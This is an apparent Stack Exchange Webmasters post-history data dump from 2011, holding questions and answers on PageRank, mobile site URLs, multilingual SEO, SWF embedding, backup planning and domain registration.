  <row Id="39990" PostHistoryTypeId="2" PostId="16730" RevisionGUID="7e41f771-8b6d-41c7-a918-047670c8348e" CreationDate="2011-07-12T17:54:39.567" UserId="2115" Text="We all know that the backlinks increases the pagerank of a website. Do outbound links affect pagerank?" />
  <row Id="39991" PostHistoryTypeId="1" PostId="16730" RevisionGUID="7e41f771-8b6d-41c7-a918-047670c8348e" CreationDate="2011-07-12T17:54:39.567" UserId="2115" Text="Can outbound links increase pagerank?" />
  <row Id="39992" PostHistoryTypeId="3" PostId="16730" RevisionGUID="7e41f771-8b6d-41c7-a918-047670c8348e" CreationDate="2011-07-12T17:54:39.567" UserId="2115" Text="&lt;seo&gt;&lt;pagerank&gt;&lt;page-ranking&gt;" />
  <row Id="39993" PostHistoryTypeId="2" PostId="16731" RevisionGUID="5c0dbc13-7adb-4432-bebb-e8490aeb52b4" CreationDate="2011-07-12T17:58:04.360" UserId="1253" Text="Outbound links do **not** increase PageRank. They do &quot;pass&quot; PageRank to the pages they link to but they don't &quot;take it away&quot; from the page the link is on." />
  <row Id="39994" PostHistoryTypeId="5" PostId="16731" RevisionGUID="4ff3cb85-ab8f-4e4b-aa0a-9eadaa090169" CreationDate="2011-07-12T18:03:48.493" UserId="1253" Comment="added 215 characters in body" Text="Outbound links do **not** increase PageRank. They do &quot;pass&quot; PageRank to the pages they link to, but they don't &quot;take it away&quot; from the page the link is on. You can learn more about how PageRank works at [Wikipedia][1].&#xD;&#xA;&#xD;&#xA;As far as **page ranking** goes, [Matt Cutts said linking to external sites can be a positive ranking factor][2]. (But this only affects a page's ranking, not a page's PageRank.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://en.wikipedia.org/wiki/PageRank&#xD;&#xA;  [2]: http://www.mattcutts.com/blog/pagerank-sculpting/" />
  <row Id="39995" PostHistoryTypeId="5" PostId="16730" RevisionGUID="67eea1b4-ce7a-40bc-ae19-d6be430a7713" CreationDate="2011-07-12T18:06:36.760" UserId="1253" Comment="corrected spelling of PageRank" Text="We all know that the backlinks increases the pagerank of a website. Do outbound links affect PageRank?" />
  <row Id="39996" PostHistoryTypeId="4" PostId="16730" RevisionGUID="67eea1b4-ce7a-40bc-ae19-d6be430a7713" CreationDate="2011-07-12T18:06:36.760" UserId="1253" Comment="corrected spelling of PageRank" Text="Can outbound links increase PageRank?" />
  <row Id="39997" PostHistoryTypeId="5" PostId="16726" RevisionGUID="fa01a689-1543-49e5-a0c3-553eba97fa93" CreationDate="2011-07-12T18:23:09.407" UserId="8908" Comment="added 11 characters in body" Text="I just realized that the user must have found an outbound link on this authenticated page, and then leaked the private URL as `Referer` when clicking through to some other website. This is the only possible explanation, and should really have been obvious from the start.&#xD;&#xA;&#xD;&#xA;Once leaked, the private URL may have been exposed to Google in a number of ways, e.g. the target site might have published their access logs publicly. **Note:** none of the outbound links were using Google Analytics so this does not indicate that Googlebot are using referrer URLs from Analytics.&#xD;&#xA;&#xD;&#xA;**Lesson relearned:** *never ever* put sensitive data in URLs unless you use https, in which case the browser would have left `Referer` empty." />
  <row Id="39998" PostHistoryTypeId="25" PostId="16730" RevisionGUID="11ef5a10-047a-4461-b6c1-b0db7489d3a1" CreationDate="2011-07-12T18:31:24.030" Comment="http://twitter.com/#!/StackWebmasters/status/90850759624761346" />
  <row Id="39999" PostHistoryTypeId="2" PostId="16732" RevisionGUID="7b6818eb-76d9-4f0e-9e43-91d45c8d7bc8" CreationDate="2011-07-12T19:22:26.290" UserId="7489" Text="Your home network is fine from a capacity perspective, but how about security?  By opening up something like this, you are potentially exposing your entire home network to every miscreant on the internet.  Are you ready to pit your security skills against theirs?  You can get low end hosting for roughly $50 per year and then let someone else worry about the bad guys." />
  <row Id="40000" PostHistoryTypeId="2" PostId="16733" RevisionGUID="5fd9f2a2-ac0c-4dc3-8a98-a1ce27d1a38e" CreationDate="2011-07-12T19:50:56.407" UserId="8920" Text="IIS might not be installed properly. &#xD;&#xA;&#xD;&#xA;From [this thread][1]...&#xD;&#xA;&#xD;&#xA;&gt; - Remove both IIS and Windows Process Activation Service &#xD;&#xA;&gt; - Click Programs    and Features in Control Panel &#xD;&#xA;&gt; - Click &quot;Turn Windows Features on or off&quot;&#xD;&#xA;&gt; - Under Features summary, click &quot;Add Features&quot; &#xD;&#xA;&gt; - Now expand out  &quot;.NET Framework 3.0 Features) &quot;&#xD;&#xA;&gt; - click &quot;WCF Activation&quot; &#xD;&#xA;&gt; - It will    automatically ask you if you want to add the required file service&#xD;&#xA;   roles&#xD;&#xA;&gt; - say &quot;yes&quot; &#xD;&#xA;&gt; - click next select the roles you want. &#xD;&#xA;&gt; - The roles will install, and you will now have the normal IP addresss, port, host&#xD;&#xA;   name, etc. show up&#xD;&#xA;&#xD;&#xA;  [1]: http://forums.iis.net/t/1155799.aspx" />
  <row Id="40005" PostHistoryTypeId="2" PostId="16735" RevisionGUID="a2fe85a4-67c8-4e8d-8496-e6d6140435dc" CreationDate="2011-07-12T20:05:58.967" UserId="8922" Text="I am going to be using jQuery Mobile to create a mobile version of my site.&#xD;&#xA;&#xD;&#xA;My question is about the best practice on the location of the mobile site, specifically, the URL.  I am looking into two options:&#xD;&#xA;&#xD;&#xA;1. Just detect whether the user is mobile and serve them a mobile template, no need for a separate URL for the mobile site.  For example, mysite.com/foo/bar would have a mobile and desktop version of the page. My site uses HTTP cache and this would complicate things...&#xD;&#xA;&#xD;&#xA;2. Have a mobile URL (m.mysite.com).  I prefer this method as I see this in a lot of places (ie m.facebook.com).  My hesitation is with SEO, isn't duplicating content bad?&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;Any insights, thoughts, comments on my dilemma?  Is there a strategy I am missing?" />
  <row Id="40006" PostHistoryTypeId="1" PostId="16735" RevisionGUID="a2fe85a4-67c8-4e8d-8496-e6d6140435dc" CreationDate="2011-07-12T20:05:58.967" UserId="8922" Text="Mobile URL strategy" />
  <row Id="40007" PostHistoryTypeId="3" PostId="16735" RevisionGUID="a2fe85a4-67c8-4e8d-8496-e6d6140435dc" CreationDate="2011-07-12T20:05:58.967" UserId="8922" Text="&lt;seo&gt;&lt;url&gt;&lt;mobile&gt;" />
  <row Id="40008" PostHistoryTypeId="2" PostId="16736" RevisionGUID="f18135ab-418d-4541-b1df-99baa763fa83" CreationDate="2011-07-12T20:17:41.203" UserId="1253" Text="Most sites choose option #2. If you do it won't hurt your SEO as Google knows there are mobile versions of websites.  That's why Google has two bots: Googlebot and Googlebot-Mobile. Googlebot crawls desktop-browser type of webpages and content embedded in them and Googlebot-Mobile crawls mobile content.&#xD;&#xA;&#xD;&#xA;[Google covered mobile SEO recently][1]. If you're interested in mobile SEO it's worth reading.&#xD;&#xA;&#xD;&#xA;  [1]: http://googlewebmastercentral.blogspot.com/2011/02/making-websites-mobile-friendly.html" />
  <row Id="40009" PostHistoryTypeId="2" PostId="16737" RevisionGUID="1157e164-861b-46be-965c-dc6e79e01554" CreationDate="2011-07-12T20:18:03.413" UserId="8924" Text="I am a complete newbie to this, and I am hoping you guys can help me out with this.&#xD;&#xA;&#xD;&#xA;I purchased my first domain from bluehost.com, with the intent to create a website in order to post pictures to it (much like the websites Icanhascheezburger.com or wannasmile.com) and to have my Windows Phone 7 application pick up these images I put on my website and load in the phone for my users, without having to redownload the app for content.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;To simplify, My goal is this: code my app to place a function, so that anytime I place a new picture on the website mainpage, it will call the function, retrieve the image and time it was posted on the site, and viola, it's in the phone app and I'm happy.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;Now I am absolutely at square one. Quite frankly, this task scares me a bit. &#xD;&#xA;&#xD;&#xA;&#xD;&#xA;So how do I even begin to do this? &#xD;&#xA;&#xD;&#xA;&#xD;&#xA;I know I can design my website in Dreamweaver, and I am comfortable with that. But is that all I would need? Could I just upload a new dreamweaver page whenever I wanted to upload content? Wouldn't that be an insane amount of work say, a year from now?&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;If I set up an FTP on the website, does this have a built in webservice function I can call with my phone?&#xD;&#xA;&#xD;&#xA;Do I need to have an SQL database of images?  &#xD;&#xA;&#xD;&#xA;How would my app know when it should pull images from another page in the directory? I mean, if I plan to have hundreds of images, I can't simply have them all on one page.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;Obviously I have no clue what I am talking about, and I really need to be set straight.&#xD;&#xA;&#xD;&#xA;Thank you for your help.&#xD;&#xA;&#xD;&#xA;" />
  <row Id="40010" PostHistoryTypeId="1" PostId="16737" RevisionGUID="1157e164-861b-46be-965c-dc6e79e01554" CreationDate="2011-07-12T20:18:03.413" UserId="8924" Text="just started a new website but need help pulling data to window phone 7" />
  <row Id="40011" PostHistoryTypeId="3" PostId="16737" RevisionGUID="1157e164-861b-46be-965c-dc6e79e01554" CreationDate="2011-07-12T20:18:03.413" UserId="8924" Text="&lt;php&gt;&lt;web-development&gt;&lt;mysql&gt;&lt;ftp&gt;" />
  <row Id="40012" PostHistoryTypeId="2" PostId="16738" RevisionGUID="5f75e450-53f2-4ac0-bd41-517897cf14a5" CreationDate="2011-07-12T20:23:06.857" UserId="8923" Text="I have used both Amazon Clouds and Rackspace Clouds and like both of them. I have noticed Rackspace seems to be more inexpensive and its not as complex. Amazon AWS has more features but a steeper learning curve, but with the free tier the learning curve could be worth the effort. I use Rackspace more for my quick testing, The Centos images are quite easy to use and you can have a full LAMP Stack webserver up in 10 min or less.   " />
  <row Id="40013" PostHistoryTypeId="5" PostId="16736" RevisionGUID="b62a2f56-0b83-4fe5-80df-ece5789b5d89" CreationDate="2011-07-12T20:26:50.557" UserId="1253" Comment="added 1454 characters in body" Text="Most sites choose option #2. If you do it won't hurt your SEO as Google knows there are mobile versions of websites.  That's why Google has two bots: Googlebot and Googlebot-Mobile. Googlebot crawls desktop-browser type of webpages and content embedded in them and Googlebot-Mobile crawls mobile content.&#xD;&#xA;&#xD;&#xA;[Google covered mobile SEO recently][1]. If you're interested in mobile SEO it's worth reading.&#xD;&#xA;&#xD;&#xA;&gt; A very common question we see is: Does it matter if the different&#xD;&#xA;&gt; types of content are served from the same URL or from different URLs?&#xD;&#xA;&gt; For example, some websites have www.example.com as the URL desktop&#xD;&#xA;&gt; browsers are meant to access and have m.example.com or wap.example.com&#xD;&#xA;&gt; for the different mobile devices. Other websites serve all types of&#xD;&#xA;&gt; content from just one URL structure like www.example.com.&#xD;&#xA;&gt; &#xD;&#xA;&gt; For Googlebot and Googlebot-Mobile, it does not matter what the URL&#xD;&#xA;&gt; structure is as long as it returns exactly what a user sees too. For&#xD;&#xA;&gt; example, if you redirect mobile users from www.example.com to&#xD;&#xA;&gt; m.example.com, that will be recognized by Googlebot-Mobile and both&#xD;&#xA;&gt; websites will be crawled and added to the correct index. In this case,&#xD;&#xA;&gt; use a 301 redirect for both users and Googlebot-Mobile.&#xD;&#xA;&gt; &#xD;&#xA;&gt; If you serve all types of content from www.example.com, i.e. serving&#xD;&#xA;&gt; desktop-optimized content or mobile-optimized content from the same&#xD;&#xA;&gt; URL depending on the User-agent, this will also lead to correct&#xD;&#xA;&gt; crawling by Googlebot and Googlebot-Mobile. This is not considered&#xD;&#xA;&gt; cloaking by Google.&#xD;&#xA;&gt; &#xD;&#xA;&gt; It is worth repeating that regardless of URL structure, you must&#xD;&#xA;&gt; correctly detect the User-agent as given by your users and&#xD;&#xA;&gt; Googlebot-Mobile, and serve both the same content. Don’t forget to&#xD;&#xA;&gt; keep the default content, the desktop-optimized content, for when an&#xD;&#xA;&gt; unknown User-agent requests it.&#xD;&#xA;&#xD;&#xA;  [1]: http://googlewebmastercentral.blogspot.com/2011/02/making-websites-mobile-friendly.html" />
  <row Id="40014" PostHistoryTypeId="10" PostId="16737" RevisionGUID="24f12d0c-4eb4-4a29-a351-a4a84cd27f95" CreationDate="2011-07-12T20:57:51.510" UserId="1253" CloseReasonId="4" Text="[{&quot;Id&quot;:1253,&quot;DisplayName&quot;:&quot;John Conde&quot;}]" />
  <row Id="40015" PostHistoryTypeId="2" PostId="16739" RevisionGUID="e81e6273-c505-46a1-bd9b-9663cf9a2c6d" CreationDate="2011-07-12T21:10:24.553" UserId="6570" Text="I've done a simple, small site which basically only consists of a single page. Simplicity and no clutter are very intentional here and (imho) work quite well for this from a UX standpoint.&#xD;&#xA;&#xD;&#xA;Now I'm thinking of translating what little content there is in different languages. To stick with the no clutter rule I thought about doing this only with content negotiation without even having different URIs for different languages. For the user that probably works best as they get their language without needing to configure anything but their browser, but I worry about search engines. I guess it's not likely that Google, Bing, etc. crawl a site with various different language preferences, meaning that the translated content won't get picked up by them and thus not appear in regional search results.&#xD;&#xA;&#xD;&#xA;So do I have to include links for different languages on the page or is there another way for this?" />
  <row Id="40016" PostHistoryTypeId="1" PostId="16739" RevisionGUID="e81e6273-c505-46a1-bd9b-9663cf9a2c6d" CreationDate="2011-07-12T21:10:24.553" UserId="6570" Text="When selecting the language of a web page solely with content negotiation, will a search engine ever see different languages?" />
  <row Id="40017" PostHistoryTypeId="3" PostId="16739" RevisionGUID="e81e6273-c505-46a1-bd9b-9663cf9a2c6d" CreationDate="2011-07-12T21:10:24.553" UserId="6570" Text="&lt;seo&gt;&lt;language&gt;" />
  <row Id="40018" PostHistoryTypeId="25" PostId="16735" RevisionGUID="7f0f5f77-8089-4b93-b75e-9e095fe46a8e" CreationDate="2011-07-12T21:31:24.673" Comment="http://twitter.com/#!/StackWebmasters/status/90896059651457025" />
  <row Id="40019" PostHistoryTypeId="2" PostId="16740" RevisionGUID="b68a3a6a-dfc3-49fb-8761-acc90d2ef9cd" CreationDate="2011-07-12T21:46:52.547" UserId="8928" Text="All, &#xD;&#xA;&#xD;&#xA;I own a computer repair company based in Central Florida (named VitalGeek, not going to link here because I don't want anyone to think I'm spamming...) and I have several questions about SEO. &#xD;&#xA;&#xD;&#xA;1) Should I hire a company to do my link building? If so, who do you recommend and why? I heard of a pay for performance SEO company that I was thinking about trying out...&#xD;&#xA;&#xD;&#xA;2) What keywords should I target? My services are &#xD;&#xA;&#xD;&#xA;    Computer Tune-Up&#xD;&#xA;    Virus &amp; Spyware Removal&#xD;&#xA;    Backup &amp; Online Storage&#xD;&#xA;    Email Setup&#xD;&#xA;    Computer Training&#xD;&#xA;    Printer Setup&#xD;&#xA;    Printer Troubleshooting&#xD;&#xA;    Social Media Training&#xD;&#xA;&#xD;&#xA;3) What information needs to be on the landing page to get the most customers?&#xD;&#xA;&#xD;&#xA;Again, feel free to check out the website. vitalgeek (dot) com&#xD;&#xA;&#xD;&#xA;Thanks" />
  <row Id="40020" PostHistoryTypeId="1" PostId="16740" RevisionGUID="b68a3a6a-dfc3-49fb-8761-acc90d2ef9cd" CreationDate="2011-07-12T21:46:52.547" UserId="8928" Text="SEO for Computer Repair Website" />
  <row Id="40021" PostHistoryTypeId="3" PostId="16740" RevisionGUID="b68a3a6a-dfc3-49fb-8761-acc90d2ef9cd" CreationDate="2011-07-12T21:46:52.547" UserId="8928" Text="&lt;seo&gt;&lt;google&gt;" />
  <row Id="40023" PostHistoryTypeId="10" PostId="16740" RevisionGUID="5835bc72-2210-4730-a851-0ffd74018c55" CreationDate="2011-07-12T22:08:11.297" UserId="1253" CloseReasonId="4" Text="[{&quot;Id&quot;:1253,&quot;DisplayName&quot;:&quot;John Conde&quot;}]" />
  <row Id="40024" PostHistoryTypeId="2" PostId="16741" RevisionGUID="5f74ee1f-2f4c-4bc0-87f1-47c35d62bf4a" CreationDate="2011-07-12T22:12:38.063" UserId="1253" Text="An XML sitemap will show them where to find the alternative language pages. You can also put links in the footer of your pages linking to other languages. This is good usability as it allows people to easily find the language of their choice if they accidentally ended up on the page in a less-preferred language. " />
  <row Id="40025" PostHistoryTypeId="2" PostId="16742" RevisionGUID="96188f53-b626-4ec2-ab9d-4fe90de1901d" CreationDate="2011-07-12T22:12:54.787" UserId="7964" Text="You should also look into creating your website to respond based on the screen size. &#xD;&#xA;&#xD;&#xA;Ethan Mercotte published an article describing this. This is the current trending technique for dealing with mobile of websites:&#xD;&#xA;&#xD;&#xA;http://www.alistapart.com/articles/responsive-web-design/&#xD;&#xA;&#xD;&#xA;In my opinion this is the best mobile strategy and simplifying the process for SEO as well." />
  <row Id="40026" PostHistoryTypeId="2" PostId="16743" RevisionGUID="ab34ea73-364c-4df7-9427-96152431a919" CreationDate="2011-07-12T22:16:34.377" UserId="1587" Text="I was speaking to a relative and they mentioned that the designer/developer who produced their site had a way of getting them to the first page of google, I did advise him that this could be potentially dodgy and if he's not using legit SEO techniques then you could get thrown out.&#xD;&#xA;&#xD;&#xA;So what dodgy packages are there at the moment that he could be using, because from the look of the site and the number of orders it's taking, I really can't see how it could've organically risen to the top.&#xD;&#xA;&#xD;&#xA;Any ideas?" />
  <row Id="40027" PostHistoryTypeId="1" PostId="16743" RevisionGUID="ab34ea73-364c-4df7-9427-96152431a919" CreationDate="2011-07-12T22:16:34.377" UserId="1587" Text="What dodgy scams are there to get to the top of Google searches?" />
  <row Id="40028" PostHistoryTypeId="3" PostId="16743" RevisionGUID="ab34ea73-364c-4df7-9427-96152431a919" CreationDate="2011-07-12T22:16:34.377" UserId="1587" Text="&lt;seo&gt;&lt;google&gt;&lt;search-engines&gt;" />
  <row Id="40029" PostHistoryTypeId="2" PostId="16744" RevisionGUID="ba9e1809-8582-4281-992e-791768f46b0c" CreationDate="2011-07-12T22:27:34.020" UserId="8663" Text="I am a newbie in webdesign and I´ve been wondering which is the *modern* way to embed swf objects. &#xD;&#xA;&#xD;&#xA;I've been using the following html code:&#xD;&#xA;&#xD;&#xA;    &lt;object id=&quot;flash1&quot; data=&quot;presentacion/prototipe.swf&quot; height=&quot;300&quot; type=&quot;application/x-shockwave-flash&quot; width=&quot;500&quot;&gt;&#xD;&#xA;    &lt;param name=&quot;movie&quot; value=&quot;presentacion/prototipe.swf&quot; /&gt;&#xD;&#xA;    &lt;/object&gt;&#xD;&#xA;&#xD;&#xA;However, I've noticed that some designers use a javascript to embed swf files. Like this one&#xD;&#xA;&#xD;&#xA;    &lt;script type=&quot;text/javascript&quot;&gt;&#xD;&#xA;    var flashvars = {&#xD;&#xA;    };&#xD;&#xA;    &#xD;&#xA;    var params = {&#xD;&#xA;    	menu: &quot;false&quot;,&#xD;&#xA;    	scale: &quot;noScale&quot;,&#xD;&#xA;    	allowFullscreen: &quot;true&quot;,&#xD;&#xA;    	allowScriptAccess: &quot;always&quot;,&#xD;&#xA;    	allowNetworking: &quot;all&quot;,&#xD;&#xA;    	bgcolor: &quot;#ffffff&quot;,&#xD;&#xA;    	base: &quot;swf/&quot;&#xD;&#xA;    };&#xD;&#xA;    var attributes = {&#xD;&#xA;    	id:&quot;flashMovie&quot;&#xD;&#xA;    };&#xD;&#xA;    swfobject.embedSWF(&quot;swf/flash_movie.swf&quot;, &quot;flashMovie&quot;, &quot;550&quot;, &quot;400&quot;, &quot;9.0.0&quot;, &quot;swf/expressinstall.swf&quot;, flashvars, params, attributes);&#xD;&#xA;    &lt;/script&gt;&#xD;&#xA;&#xD;&#xA; It seems that both ways produce the same results but: **what are the shorfalls of these methods?**  **which method is the newest ?**  **Are there any compatibility issues regarding the web-browsers?**&#xD;&#xA;&#xD;&#xA;Thanks in advance.&#xD;&#xA;&#xD;&#xA;I've posted this question in stack-overflow too. I don't know exactly where this question should be posted.&#xD;&#xA;" />
  <row Id="40030" PostHistoryTypeId="1" PostId="16744" RevisionGUID="ba9e1809-8582-4281-992e-791768f46b0c" CreationDate="2011-07-12T22:27:34.020" UserId="8663" Text="Embedding *.swf objects: javascript vs xhtml" />
  <row Id="40031" PostHistoryTypeId="3" PostId="16744" RevisionGUID="ba9e1809-8582-4281-992e-791768f46b0c" CreationDate="2011-07-12T22:27:34.020" UserId="8663" Text="&lt;javascript&gt;&lt;flash&gt;&lt;xhtml&gt;" />
  <row Id="40032" PostHistoryTypeId="16" PostId="16743" RevisionGUID="2878e75d-5712-4854-a9af-3e7bf7f28963" CreationDate="2011-07-12T23:30:05.030" UserId="1253" />
  <row Id="40033" PostHistoryTypeId="10" PostId="16744" RevisionGUID="146fcdf8-a923-497e-9d73-74005306c780" CreationDate="2011-07-12T23:31:24.657" UserId="1253" CloseReasonId="2" Text="[{&quot;Id&quot;:1253,&quot;DisplayName&quot;:&quot;John Conde&quot;}]" />
  <row Id="40034" PostHistoryTypeId="25" PostId="16739" RevisionGUID="e4fc5254-778f-4983-98bb-4c19f8933c60" CreationDate="2011-07-13T00:31:26.240" Comment="http://twitter.com/#!/StackWebmasters/status/90941363071369216" />
  <row Id="40035" PostHistoryTypeId="2" PostId="16745" RevisionGUID="cf777744-5be5-4cc0-9614-aebb1211b3d7" CreationDate="2011-07-13T00:34:23.570" UserId="7296" Text="They are probably using a 'Link farm' of some sort. Paying to have other websites link to their website.&#xD;&#xA;&#xD;&#xA;&quot;Dodgy scams&quot; as you call them are called &quot;Black Hat SEO Techniques&quot; you can search for examples on google such as:&#xD;&#xA;&#xD;&#xA;http://www.seoptimise.com/blog/2010/01/30-black-hat-seo-techniques-you-can-use-ethically.html&#xD;&#xA;&#xD;&#xA;" />
  <row Id="40036" PostHistoryTypeId="16" PostId="16745" RevisionGUID="6342ec9b-6699-49f8-8126-3fc98b076db2" CreationDate="2011-07-13T00:34:23.570" UserId="7296" />
  <row Id="40037" PostHistoryTypeId="2" PostId="16746" RevisionGUID="e80b09c1-c981-4363-9395-2855d972aff5" CreationDate="2011-07-13T00:36:19.373" UserId="1253" Text="I work for a small marketing company that also does web design and development. We host all of our web design and development customers on a dedicated server at Hostgator. We have a dedicated server with RAID 1 configured hard drives. We also do weekly backups which is automated through cPanel and downloaded by automated FTP software locally. &#xD;&#xA;&#xD;&#xA;Today we were discussing what would we do if Hostgator had a catastrophic failure of some kind. It could be the server exploded, Hostgator had serious network issues, the FBI did one of their famous &quot;take every server we see&quot; raids, etc. Basically any scenario where an extended outage is expected. We then took it to the next level and wondered what would we do if Hostgator had an extended outage and we were unable to access our local backups. This could be due to fire, flood, etc. I know the odds of our server being down for an extended peiod of time *and* our local files simultaneously being inaccessible are remote but all it takes is just *two* bad things to happen and that's where we would stand. (If you have ever gotten a flat tire and found out your spare was flat or missing you know how easy it is for two bad things to happen simultaneously really is).&#xD;&#xA;&#xD;&#xA;Needless to say we want to be prepared for &quot;worst case scenario&quot; type events as this would almost certainly put us out of business. So my two questions are: &#xD;&#xA;&#xD;&#xA;1. What could we do to be prepared for an extended outage by Hostgator? An ideal scenario will have our clients' websites, and hopefully emails, up and running again quickly. &#xD;&#xA;&#xD;&#xA;2. What would a robust back up plan include so important data is never lost? An ideal solution will be automated.&#xD;&#xA;&#xD;&#xA;You can assume cost is not an issue in your answers but the more affordable a solutions is, the better." />
  <row Id="40038" PostHistoryTypeId="1" PostId="16746" RevisionGUID="e80b09c1-c981-4363-9395-2855d972aff5" CreationDate="2011-07-13T00:36:19.373" UserId="1253" Text="Planning for catastrophe" />
  <row Id="40039" PostHistoryTypeId="3" PostId="16746" RevisionGUID="e80b09c1-c981-4363-9395-2855d972aff5" CreationDate="2011-07-13T00:36:19.373" UserId="1253" Text="&lt;backups&gt;&lt;planning&gt;" />
  <row Id="40040" PostHistoryTypeId="2" PostId="16747" RevisionGUID="a8263633-cd3d-4acd-85ad-92159288be8f" CreationDate="2011-07-13T02:38:56.403" UserId="8799" Text="Complete replication of the server at another facility of another hosting company seems the most obvious solution.&#xD;&#xA;&#xD;&#xA;Files can be kept in sync with tools like rsync and unison.&#xD;&#xA;SQL backups can be rsynced too and then uploaded to the slave db by scripts." />
  <row Id="40041" PostHistoryTypeId="25" PostId="16746" RevisionGUID="613af077-54a5-40d5-a05b-ad1f05aa6f9c" CreationDate="2011-07-13T03:31:27.047" Comment="http://twitter.com/#!/StackWebmasters/status/90986667967651840" />
  <row Id="40042" PostHistoryTypeId="2" PostId="16748" RevisionGUID="a8d3f3b5-13fe-4e0a-8d41-fd07aec2723c" CreationDate="2011-07-13T04:19:34.940" UserId="1155" Text="Make sure you are running version control of all your code with a source code repository (SVN or GIT). Are you using SVN or GIT?&#xD;&#xA;&#xD;&#xA;You can get an account (free or paid) at a third party repository, like [Project Locker][1], and if you version all of your code while you're working, essentially you have it all backed up to your repository which is on a third location. Thereby further decreasing your chances (almost to nil) of losing all work at once.&#xD;&#xA;&#xD;&#xA;You can either perform your SVN commits/checkouts via command line, or via a client like Versions (for Mac) or TortoiseSVN (for Windows).&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://www.projectlocker.com/" />
  <row Id="40043" PostHistoryTypeId="2" PostId="16749" RevisionGUID="6d92ef56-91c8-4570-b25d-68edd568f26b" CreationDate="2011-07-13T04:22:13.410" UserId="8372" Text="You can create a [canonical name](http://en.wikipedia.org/wiki/CNAME_record) for your domain (kind of an alias) in your registrar control panel.&#xD;&#xA;&#xD;&#xA;Add an `CNAME` record for `hello.com` to point to `hello.blogspot.com`, now any user who goes to `hello.com` will have the same contents displayed as `hello.blogspot.com`.&#xD;&#xA;&#xD;&#xA;Please take a look at this link on how to add a `CNAME` record for a domain.&#xD;&#xA;http://www.google.com/support/a/bin/answer.py?answer=47610" />
  <row Id="40044" PostHistoryTypeId="2" PostId="16750" RevisionGUID="1fcc4e00-409d-4f0f-996e-21eae692efbf" CreationDate="2011-07-13T04:37:32.773" UserId="1155" Text="Kevin, the answer to your question strictly speaking is: it depends.&#xD;&#xA;&#xD;&#xA;There are several factors to consider in selecting either of the options you have described, and neither is &quot;wrong&quot; per se. It just depends what your goal and circumstances are.&#xD;&#xA;&#xD;&#xA;That being said, scope and scalability of your site/application are the primary concerns.&#xD;&#xA;&#xD;&#xA;I've done a fair amount of research on this topic for 6 mo. - 1 year now (for my work on [CURE.org][1], where we've already implemented one of these options for [cure.org/blog][2]), and in fact revisited this discussion again this week for my personal site, [joelglovier.com][3].&#xD;&#xA;&#xD;&#xA;So when I say that &quot;scalability&quot; is a concern, you have to remember that if your site is going to have continually updating content, then you have to accomodate that in both places if you have your scenario of **m.site.com** setup. If you're site is database driven and/or uses a good CMS, that isn't necessarily too difficult to setup.&#xD;&#xA;&#xD;&#xA;Nevertheless, depending on how often you are creating fresh content, landing pages, or campaigns on your site, it could grow cumbersome to have to create that content twice every time.&#xD;&#xA;&#xD;&#xA;And if you're referring to a simple portfolio site for yourself or a client, then again repurposing content (without any type of database or CMS infrastructure) can get cumbersome quickly.&#xD;&#xA;&#xD;&#xA;But on the other hand, when you have a site like Facebook, for example - where scalability of your site/content is critical to what you're doing as a whole - then a subdomain is really very appropriate. Partly because at the web application level you're most certainly going to have a CMS or dynamic environment that will fairly easily support your ongoing content publishing to both the mobile site and the desktop site environment (after initial development of course).&#xD;&#xA;&#xD;&#xA;The separate mobile site really allows you to feed users only the markup and content that you want them to have versus serving everything and hiding much of it via the @media-queries method or a jQuery method.&#xD;&#xA;&#xD;&#xA;Personally, for my own simple portfolio site I've more or less settled on not having a separate mobile site because I'm not building anything that is really application level. So I'm going with CSS3 media queries, and jQuery fallback for IE users.&#xD;&#xA;&#xD;&#xA;Here's some of the recent resources I've been thumbing through:&#xD;&#xA;&#xD;&#xA;http://trentwalton.com/2011/05/10/fit-to-scale/&#xD;&#xA;&#xD;&#xA;http://unstoppablerobotninja.com/entry/responsive-images/&#xD;&#xA;&#xD;&#xA;http://css-tricks.com/6206-resolution-specific-stylesheets/&#xD;&#xA;&#xD;&#xA;http://www.alistapart.com/articles/responsive-web-design/&#xD;&#xA;&#xD;&#xA;http://www.zeldman.com/category/responsive-web-design/&#xD;&#xA;&#xD;&#xA;http://thinkvitamin.com/design/getting-started-and-gotchas-of-css-media-queries/&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://cure.org&#xD;&#xA;  [2]: http://cure.org/blog&#xD;&#xA;  [3]: http://joelglovier.com" />
  <row Id="40046" PostHistoryTypeId="2" PostId="16752" RevisionGUID="b77d26b1-f7c5-4376-ae92-592614201917" CreationDate="2011-07-13T04:43:02.940" UserId="1155" Text="You could always use Google Docs. They have forms you can create, and several other solutions that could very well meet your &quot;simple data entry&quot; needs in this area.&#xD;&#xA;&#xD;&#xA;The nice thing about Google Docs is they host it, it's free, you can share privately or publicly, and access from anywhere." />
  <row Id="40047" PostHistoryTypeId="2" PostId="16753" RevisionGUID="0e163c97-4565-4979-856b-3feb648e405f" CreationDate="2011-07-13T04:49:58.253" UserId="1155" Text="Try [BuddyPress][1] from Automattic, makers of Wordpress. It should have everything you are looking for, and is open source so it's free and you can do whatever you want with it.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://buddypress.org/" />
  <row Id="40048" PostHistoryTypeId="2" PostId="16754" RevisionGUID="b415d2b3-fe6a-4b59-bb65-fec39be29d95" CreationDate="2011-07-13T04:57:12.320" UserId="1155" Text="There is a particular domain name that I'm interested in, but when you enter the domain in a browser the browser says &quot;Domain has no index file&quot;, which doesn't appear to be a browser message, but a server page on the hosting software.&#xD;&#xA;&#xD;&#xA;So point is the site appears that it isn't being used, but it exists.&#xD;&#xA;&#xD;&#xA;The contact info (both email and phone number) in the WhoIs record are bad. The email I sent to the email address bounced back to me, and when I called the phone number a person answered (apparently residential line) who said there was nobody there by that name.&#xD;&#xA;&#xD;&#xA;It says it's been registered since 2003 and is registered until 2014.&#xD;&#xA;&#xD;&#xA;UPDATE: I did try filling a report with GoDaddy, which WhoIs says is the registrar of the domain, about two weeks ago.&#xD;&#xA;&#xD;&#xA;I just checked the WhoIs info again and it looks like they've removed the name, email address, phone number, and address of the domain registrant." />
